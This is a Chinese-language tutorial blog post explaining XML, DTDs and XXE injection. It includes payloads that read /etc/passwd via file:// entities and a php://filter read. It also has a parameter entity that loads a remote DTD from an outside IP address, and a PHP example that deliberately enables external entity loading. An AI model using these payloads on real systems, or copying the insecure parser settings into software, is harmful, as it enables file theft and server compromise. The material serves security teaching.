关于python脚本
很多测试过程当中,我们经常会用到使用脚本语言书写的自动化工具。通常在网络上都能够找到已经编写完成的工具,只需要根据自己的需求来修改部分参数就可以使用。
如果想要自己进行脚本编写,还是需要有对该语言的各种标准库等清楚的认知,所以如果不是我亲自去讲python等语言编写和功能,可能不会放出相关代码。
那些东西大家一定能在哪个好心人的博客上面找到。
XXE
当我们向服务器传输相关数据的时候,可能会使用到各种形式,这里所说的形式是指诸如JSON形式(详细说应该是:application/json :)、标准的表单数据格式(就是使用&
连接的那些参数)等等。
其中也就当然包括我们接下来要讲的格式:text/xml 或 application/xml:
。
xml
是可扩展标记语言,它起源于SGML
,为了满足网络数据描述和交换需求而出现的。xml
使用标记来描述数据的结构,和html
类似,但是不同的是它的标签可以自定义,并且只有一个根节点。
它还支持Unicode,可以表示几乎所有人类语言,虽然在某些方面被JSON
等替代,但是依然在网络世界发挥着它的作用。比如某些软件应用程序依然使用它来作为配置文件格式。
示例:
xml
<phone>
<brand>apple</brand>
<version>iPhone 15 promax</version>
</phone>
漏洞原理
这里说的原理其实就是它利用了XML解析器处理包含外部实体的XML输入的方式,攻击者可以通过修改代码实现解析器读取敏感文件、执行系统命令、发起网络请求等操作。
当然这里需要开启libxml
库中外部实体的选项才可以,不同的编程语言可能设置不同。
其实上面的那个示例并不完整,我们在使用这个xml
的时候还需要在上面通过DTD
,也就是文件类型定义来进行结构定义。它定义了文档的元素、属性还有实体。
比较标准且完整的写法如下:
xml-dtd
<? xml version="1.0" ?>
<!-- 这是一个xml文件的声明,这并不是必须的,但是是推荐的。-->
<!DOCTYPE message [
<!ELEMENT message (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<message>
<to>Tove</to>
<from>Jani</from>
<body>&xxe;</body>
<heading>Reminder</heading>
<body>Do not forget me!</body>
</message>
这里面还有一些要说明的:有的元素的内容是PCDATA
(Parsed Character Data),这就是说它们都包含文本数据,这个可能是在后续内容
使用当中被添加(如上)。然后关于实体,有参数实体、常规实体。其中参数实体在xml
内容当中是无法使用的,使用前面添加%
的形式定义和使用,以供组织、重用或模块化DTD内容。
而常规实体使用&
的方式使用。
比如一下是参数实体,先是声明了一下那个东西,然后后面那个语句是引用它,让解析器去从远端获取然后让它在本地生效(大概):
xml-dtd
<!ENTITY % aaa SYSTEM "http://101.42.246.196:33333/h3zh1.dtd">
%aaa;
上面的方式就是在DTD
当中书写的,进行了一个DTD
模块的重用,通过%aaa;
的方法引入了远端的h3zh1.dtd
当中的一些变量之类的。然后在当前服务器的结构定义当中使用。
事实上,内容的根节点不必要与定义结构的那个名字相同,那个名字并没有直接的作用。
来一个漏洞的示例:
php
<?php
libxml_disable_entity_loader(false);
$xmlfile = '<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
<name>&xxe;</name>
</root>';
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$entity = simplexml_import_dom($dom);
$name = $entity->name;
echo $name;
?>
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
: 这行代码使用LIBXML_NOENT
和LIBXML_DTDLOAD
选项加载XML内容。这使得XML解析器解析外部实体,并在加载XML文档类型定义(DTD)时解析实体。
使用simplexml_import_dom
函数将DOM对象转换为SimpleXMLElement对象。
然后读取里面name的值,就是外部实体解析之后的文件内容。
然后上面那个代码使用的是file通用协议,之前讲过的。如果是特殊的php写成的网站可以使用php自己携带的伪协议,比如:php://filter/read=convert.base64-encode/resource=/etc/passwd
之类的。
与php不同的是,java的file协议支持列目录。
也就是说如果写成file:///etc
的话可以读取出它下面的目录。
如果能够确定是特定语言书写,那么可以考虑使用对应语言的文件读取协议,普通的通用协议可能存在问题。